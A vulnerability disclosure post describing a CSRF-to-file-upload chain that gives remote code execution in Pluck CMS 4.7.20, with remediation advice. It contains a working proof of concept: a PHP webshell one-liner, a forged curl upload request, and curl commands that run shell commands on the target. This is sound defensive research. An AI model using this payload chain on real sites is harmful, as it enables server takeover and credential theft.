> ## Content Index
> Fetch the complete content index at: https://plaintext.block8.ai/llms.txt
> Use this file to discover other available public pages before exploring further.

# One Link, One Admin, One Webshell (CVE-2026-78749)
- URL: https://plaintext.block8.ai/blog/one-link-one-admin-one-webshell-cve-2026-78749/
- Published: 2026-10-18T23:36:28.000Z
- Updated: 2026-10-18T23:36:28.000Z
- Author: Lukasz S

## TL;DR

Chain two forgiving mistakes in Pluck CMS 4.7.20 and you get unauthenticated remote code execution (CVE-2026-78749). First, the CSRF guard returns `true` when the `Referer` header is missing, so an attacker's page can fire admin actions through a logged-in admin's browser. Second, the module installer accepts any filename *containing* `.tar.gz` and writes the file to a web-accessible directory *before* checking whether it is a real archive. Upload `webshell.tar.gz.php` through a forged request and you have a PHP shell running as `www-data`. The only prerequisite is that an admin visits one malicious page. Block8.ai's Security Research Team rates it CVSS 3.1 of 9.6 (Critical), CWE-352 chained with CWE-434.

## The shape of the attack

Most serious breaches are not one spectacular bug. They are two or three modest ones that happen to line up. This is a clean example. Neither half is exotic on its own. Together they take an attacker from "I have no account" to "I run commands on your server" with a single click from someone else.

Here is the whole arc in one breath: an unauthenticated attacker builds a web page, gets a logged-in Pluck admin to open it, the page forges a module-install request using the admin's session, the installer writes an attacker-named PHP file to a public folder, and the attacker then browses to that file and runs commands. No password ever changes hands.

Let's walk the two links.

## Link one: the CSRF guard that says yes to strangers

Pluck guards admin actions with `requestedByTheSameDomain()` in `data/inc/functions.admin.php`, which tries to confirm a request came from the site's own domain by inspecting the `Referer` header. The flaw is in how it handles a *missing* `Referer`: it logs a warning and returns `true` anyway.

An attacker simply makes sure the `Referer` never arrives. A page or form carrying `referrerpolicy="no-referrer"` tells the browser to omit it. The guard then treats "I can't tell where this came from" as "this is allowed", and the forged request sails through on the admin's session cookie.

That alone is a CSRF problem (CWE-352). It becomes a catastrophe because of what it can reach.

## Link two: the installer that writes first and checks later

The module installation handler in `data/inc/modules_install.php`, reached via `admin.php?action=installmodule`, is meant to accept a `.tar.gz` archive. It validates the filename like this, in spirit:

```php
if (strpos($filename, '.tar.gz')) { ... }

```

`strpos()` returns the *position* of the substring, and it is truthy for any filename that contains `.tar.gz` anywhere at all. There is no anchor to the end of the string. So `webshell.tar.gz.php` passes, because `.tar.gz` is sitting right there in the middle.

Then the ordering seals it. The handler calls `copy()` to write the uploaded file into the web-accessible `data/modules/` directory under the attacker's chosen name *before* `PharData` tries to validate the archive. The content is not a real gzip archive, so `PharData` throws an `UnexpectedValueException`, but by then the PHP file is already on disk. The validation failure is loud and completely too late. This is CWE-434, unrestricted upload of a dangerous file type.

## Under the bonnet: the confirmed chain

The payload is a one-liner:

```bash
echo '<?php echo shell_exec($_GET["c"]); ?>' > webshell.tar.gz.php

```

The forged request, with no `Referer` to simulate the cross-site origin:

```bash
curl -b ADMIN_SESSION_COOKIE \
  -X POST http://TARGET/admin.php?action=installmodule \
  -F 'sendfile=@webshell.tar.gz.php;type=application/gzip' \
  -F 'submit=Upload'

```

The install response is a `PharData` fatal error, which is exactly what you want to see: the archive check failed *after* the file landed. Then you collect your shell:

```bash
curl http://TARGET/data/modules/webshell.tar.gz.php?c=id

```

Confirmed against Pluck CMS 4.7.20 on PHP 8.2.31 and Apache 2.4.67:

- `?c=id` returned `uid=33(www-data) gid=33(www-data) groups=33(www-data)`
- `?c=uname -a` returned the host kernel string
- Reading the admin password file returned the stored password hash

In a real attack the forged POST originates from the attacker's auto-submitting HTML page rather than curl; the file input is pre-populated client-side via a `FileReader` or delivered through a direct POST redirect. The curl above is the faithful stand-in that proves both the CSRF bypass and the RCE in one shot.

## Why it is Critical

The 9.6 score is earned. This reaches full operating-system command execution with zero prior credentials. The only thing the attacker needs from the victim is a single page view by someone who happens to be logged in as admin, which is squarely in the realm of ordinary phishing. Once the shell is live, it runs as the web server user, can read application secrets including the admin password hash, and provides a foothold for pivoting further into the host.

It is the combination that is deadly. On their own, the CSRF weakness and the filename bypass are each serious but bounded. Lined up, they erase the authentication requirement entirely: the RCE that normally needs an admin account borrows one, uninvited.

## How to fix it

Break either link and the chain collapses, but both deserve fixing.

For the CSRF guard:

- Use per-request anti-CSRF tokens bound to the session and verified server-side. Do not rely on the `Referer` header, which is optional and attacker-controllable.
- Fail closed: if the origin cannot be determined, return `false` and deny the action.

For the module installer:

- Anchor the filename check to the end of the string and validate the full extension, not a substring. Reject anything that is not exactly a `.tar.gz`.
- Validate the archive *before* writing anything to disk, and write to a location outside the web root during processing.
- Never store uploaded files under their attacker-supplied names in a directory the web server will execute. Generate safe names and strip executable extensions.
- Disable PHP execution in upload and module directories at the server level as defence in depth.

Until a fixed release is available, administrators should not remain logged into the Pluck admin panel while browsing untrusted sites, and operators should lock down access to the admin interface.

## Closing

This is what it looks like when two reasonable-seeming shortcuts shake hands. A guard that approves the unknown, and an installer that trusts a substring and acts before it validates. Neither author imagined the other's code standing next to theirs. The Block8.ai Security Research Team found and chained both during authorised research into Pluck CMS. The enduring lesson of chained vulnerabilities is that attackers do not respect your module boundaries, and your threat model shouldn't either.